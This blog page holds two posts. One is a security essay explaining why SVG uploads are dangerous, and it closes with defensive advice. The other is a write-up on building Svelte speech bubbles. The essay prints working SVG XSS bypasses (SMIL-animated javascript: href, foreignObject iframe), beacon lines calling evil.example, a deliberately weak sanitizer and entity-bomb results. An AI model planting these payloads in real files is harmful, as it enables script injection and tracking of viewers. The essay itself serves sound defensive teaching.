Svg
-
An SVG Is Not an Image
This series started two weeks ago with the question of what a file actually is. It ends with the format that answers “all of the above.”
An SVG is an image. It is also an XML document, which means everything in the XML post applies to it: entities, external references, the whole surface. It is also a CSS host, a stylesheet target, an animation timeline, and, when rendered in the wrong context, a JavaScript execution environment.
Your image upload endpoint accepts all of that.
What the First Filter Misses
Here is the sanitizer nearly everyone writes first, and I include myself in that:
def naive_sanitize(s): return re.sub(r"<script\b[^>]*>.*?</script\s*>", "", s, flags=re.I | re.S)Strip the script tags. Reasonable. Here are nine payloads, all of them well-formed XML that a strict parser accepts without complaint, run through it:
payload well-formed XML survives <script> strip ---------------------------------------------------------------------- script element yes no onload on root yes yes onerror on image yes yes javascript: href yes yes animate to js url yes yes foreignObject html yes yes external stylesheet yes yes remote image beacon yes yes use with remote ref yes yesEight out of nine. The interesting ones are not the obvious event handlers:
<svg xmlns="http://www.w3.org/2000/svg"> <a><animate attributeName="href" to="javascript:x()"/> <rect width="9" height="9"/></a> </svg>That is SMIL animation rewriting a link’s
hrefat runtime to ajavascript:URL. No script element, noon*attribute, nothing a string filter is looking for. It is a legitimate use of a documented SVG feature to change an attribute over time, and the attribute it changes happens to be one that gets navigated.<svg xmlns="http://www.w3.org/2000/svg"> <foreignObject> <iframe xmlns="http://www.w3.org/1999/xhtml" src="..."/> </foreignObject> </svg>foreignObjectis the element that lets you embed a different XML vocabulary inside SVG. Usually that means HTML. So an SVG can contain an entire HTML document, which means anything you could do with an HTML injection you can do inside an image file.And two of them are not script at all:
<image href="https://evil.example/px.png?c=1"/> <use href="https://evil.example/e.svg#p"/>Those are outbound network requests from an image. If your SVG renders in a document context, opening it phones home with the viewer’s IP and referrer. No code executed, nothing to strip, and a naive filter has no opinion because there is no script involved.
The Real Boundary Is the Tag, Not the File
The important thing about SVG security is that the same bytes behave differently depending on how the page includes them. MDN states the restriction plainly:
For security purposes, some browsers place restrictions on SVG content when it’s being used as an image. Specifically, the following limitations may apply:
- JavaScript is disabled.
- External resources (e.g., images, stylesheets) cannot be loaded, though they can be used if inlined through data: URLs.
- :visited-link styles aren’t rendered.
- Platform-native widget styling (based on OS theme) is disabled.
Note the phrasing: “some browsers” and “may apply.” That is a specification-shaped hedge, and this is a security boundary.
The boundary holds for
<img src="user.svg">and for CSSbackground-image. It does not exist for<object>,<embed>,<iframe>, inline<svg>pasted into your DOM, or the case people forget, a user navigating directly tohttps://yoursite.com/uploads/user.svg. That last one runs with your origin, which means the uploaded file has your cookies.So the answer to “is it safe to accept SVG uploads” is not a property of the file. It is a property of every place the file might later be rendered, including places you did not write, like a support tool that displays attachments inline.
It Is Still XML, So the Bomb Still Works
Everything from the XML post carries over unchanged, because SVG did not define its own parser. It said “this is XML” and inherited the entity system.
Here is an entity bomb in an SVG, expanded by two Python parsers:
levels=3 source 299 bytes ElementTree: 3,000 chars lxml: 3,000 chars levels=4 source 357 bytes ElementTree: 30,000 chars lxml: 30,000 chars levels=5 source 415 bytes ElementTree: 300,000 chars lxml: Maximum entity amplification factor exceeded levels=6 source 473 bytes ElementTree: 3,000,000 chars lxml: Maximum entity amplification factor exceededlibxml2 has the amplification limit I wrote about six days ago, and it fires exactly where it should. Python’s standard library
xml.etree.ElementTreehas no such limit. A 473-byte file expands to three million characters, and adding one more line makes it thirty million.This is not a hypothetical for image handling. If any part of your pipeline parses the SVG rather than just rasterizing it, which is what every thumbnailer, dimension-extractor, and metadata-stripper does, that parser is the one that has to survive the input.
defusedxmlexists for this and takes one import to adopt.
The Format Is Good, Actually
I have spent most of this post on the attack surface, so let me be fair about the design, because SVG got a hard thing right.
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600" viewBox="0 0 400 300" preserveAspectRatio="xMidYMid meet">Two coordinate systems, cleanly separated.
widthandheightare how much room the image takes up on the page.viewBoxis the coordinate space the drawing commands are written in. The renderer computes the scale factors between them and appliespreserveAspectRatioto decide what happens when they disagree:meetfits the whole drawing inside,slicefills the box and clips,nonestretches.That separation is why one SVG file is correct at 16 pixels and at 4,000, and why every icon system on the web is SVG now. None of the raster formats in this series can do it. PNG, JPEG, and GIF all encode a grid of samples at one resolution, and everything after that is interpolation.
The path syntax is similarly good.
Mmoves,Llines,Cis a cubic Bézier,Zcloses, lowercase means relative. Six letters and some numbers describe any curve, in text, diffable in git, editable by hand.The problem is not the drawing model. The problem is that the same document that describes the curve can also describe a script, and both are in the same file, delivered by the same upload form.
What To Do About It
- Never write your own SVG sanitizer. Use DOMPurify with
USE_PROFILES: {svg: true}, or a server-side equivalent that works on a parsed tree with an allowlist. The blocklist approach loses, always, and this post is nine examples of why. - Serve user uploads from a separate origin. Not a subdomain of your app, a different registrable domain, so a direct navigation to the file cannot touch your cookies or localStorage.
- Set
Content-Security-Policy: default-src 'none'; sandboxon upload responses, plusContent-Disposition: attachmentif you never need inline display. - Render through
<img>, never<object>or inline. The restrictions MDN lists only apply in image context. If a designer asks to inline the SVG so they can style it with CSS, that request converts a sandboxed file into an executable one. - Use
defusedxmlin every pipeline stage that parses. Your thumbnailer is a parser. So is your dimension check. - Consider rasterizing on upload. If you accept SVG from users and only ever display it at known sizes, converting to PNG at ingest removes the entire category and costs you resolution independence you were not using anyway.
Fifteen posts, and the pattern held every time. CSV had no standard and everyone wrote their own. JSON had a small standard and everyone filled the gaps differently. YAML fixed its bug and the fix never landed. XML specified everything and shipped the dangerous defaults. PDF and SQLite both keep what you told them to delete. JPEG exposes one control that means nothing. GIF’s most famous feature is not in its specification at all.
SVG is the one where all of it lands at once, because SVG is not really a format. It is XML plus a drawing vocabulary plus CSS plus SMIL plus a scripting host, wearing a
.svgextension so that your upload validator sees an image.The file extension is a suggestion. It always was. That is where this series started, and it turns out to be where it ends.
Sources
- SVG 1.1 (Second Edition) — the W3C Recommendation; the coordinate system rules are in the coords chapter
- SVG 2 — the current draft;
hrefreplacesxlink:href, geometry moves into CSS - MDN: SVG as an image — the restrictions that apply in image context, and the hedged language they are stated in
- DOMPurify — the sanitizer to use instead of the one you were about to write
- OWASP File Upload Cheat Sheet — separate origin, content disposition, and why extension checks are not validation
- defusedxml — for every stage of the pipeline that parses rather than renders
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
-
Building Speech and Thought Bubbles in Svelte
Have you ever looked at a comic-style speech bubble and thought “that’s just a rounded rectangle with a little triangle”? That’s what I thought too. Then I tried to build one that stays intentional at every size, and I was wrong.
Bubble Lab started as a small Svelte 5 playground for a deceptively specific UI problem: comic-style speech bubbles and thought bubbles you can copy into another project without dragging along a whole positioning system. Pretty good progress so far! It does bubbles, tails, and puffs in smooth or pixel-art style, plus a live editor to tune them and copy the snippet out.
Unfortunately, the code is not public. So let me know if that interests you.
The bubble body is easy but I struggled with the tails and puffs. This is not a full code walkthrough, but rather my approach at building it. The real implementation has props, presets, app state and tests.
Keep the Bubble Presentational
The presentation boundary is important.
SpeechBubbleowns the body frame, the fill and ink colors, the text padding, the tail shape, and smooth vs. pixel rendering.ThoughtBubbleowns the body frame, the puff trail, puff direction and count, and smooth vs. pixel rendering.Positioning is somebody else’s job. If a bubble needs to float next to a heading, point at a chart, or become an annotation, that belongs to a wrapper like
AnchoredAnnotation, not the bubble. That keeps the API small:<SpeechBubble tail="right" color="cyan" pixel> Copy this into your own scene. </SpeechBubble> <ThoughtBubble puffs={3} puffDirection="down-left" color="cream"> How should this trail land? </ThoughtBubble>SVG for the Frame, HTML for the Text
The body text stays real HTML. It wraps naturally, holds inline markup, stays selectable, and keeps accessibility boring in the best way. The frame is an absolutely positioned SVG behind the content:
<svg class="bubble-frame" viewBox="0 0 100 100" preserveAspectRatio="none" aria-hidden="true"> <path d={d} fill="var(--bubble-fill)" stroke="var(--bubble-ink)" vector-effect="non-scaling-stroke" shape-rendering={pixel ? "crispEdges" : "geometricPrecision"} /> </svg> <div class="bubble-content">{@render children?.()}</div>preserveAspectRatio="none"earns its keep because the frame stretches to whatever the content needs. The path lives in a normalized 100x100 viewBox, and CSS controls the real size. Smooth mode uses quadratic curves at the corners. Pixel mode uses straight segments andcrispEdges. One clean switch.The Tail Should Not Live in the Body Path
I made this mistake so you don’t have to. The original speech tail lived inside the same stretched 100x100 body SVG.
The body frame stretches differently depending on the content. A left or right tail flattens as the bubble gets wider. An up or down tail collapses into a sad little nub. The tail is supposed to stay triangular, but it was living in a coordinate system whose entire job was to deform.
The fix was to split the tail into its own fixed-aspect 16x16 SVG. The body still stretches. The tail does not. A triangle stays a triangle at every bubble width. The tail path is intentionally open, so the fill path closes with
Zbut the stroked path doesn’t. That keeps an ink line from drawing across the tail base where it overlaps the body.One tiny detail:
stroke-linecap="round"left little nubs at the tail base corners. Switching the open stroke tobuttmade the overlap read as one continuous outline. That’s the fix.Pixel Tails Need More Vertices, Not a New Component
The pixel version doesn’t need a second component. It needs a different path generator. The smooth tail is
base corner -> tip -> base corner. The pixel tail isbase corner -> stair-step to tip -> stair-step to base corner. Same API, difference pushed intotailPath(tail, pixel).And it’s easy to test without booting a browser:
expect(tailPath("left", false)).not.toMatch(/Z\s*$/); expect(tailPath("left", true)).not.toMatch(/[QqCcSsTtAa]/); expect(pixelVertexCount).toBeGreaterThan(smoothVertexCount);Those tests don’t prove the bubble is pretty. They protect the geometry contract: open stroke, no curves in pixel mode, a real stepped path.
Pixel puffs were trickier. A clipped octagon with a normal border didn’t give a clean stepped outline, and on pale fills the smallest puffs read as solid ink dots. The fix was an ink-colored clipped backing with a smaller fill-colored clipped pseudo-element inset on top, where the inset scales with size but has a floor and a cap. It’s not perfect.
And padding counts as geometry too. The body path is inset inside the SVG, so if the text padding is too tight the copy crowds the frame stroke, especially on wide bubbles. The frame can be mathematically correct and still look wrong if the text doesn’t get room to breathe inside it.
What Still Needs Work
Bubble Lab is a good first attempt, not a finished bubble engine. The next round is more visual than architectural: more tail geometries including curved comic tails, better per-direction placement, more natural puff arcs, finer pixel tuning at tiny sizes, and browser screenshots as regression tests for clipping and legibility.
Svelte is a great shell for the API and the editor, but the quality comes from the small rendering choices. Not the exact code, the split: stretch the body, isolate the tail, keep text as HTML, generate paths with TypeScript, test the geometry, and use a playground to test taste. Do that and you get a component that’s simple to use but honest about the details that make a comic bubble feel drawn instead of assembled.
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].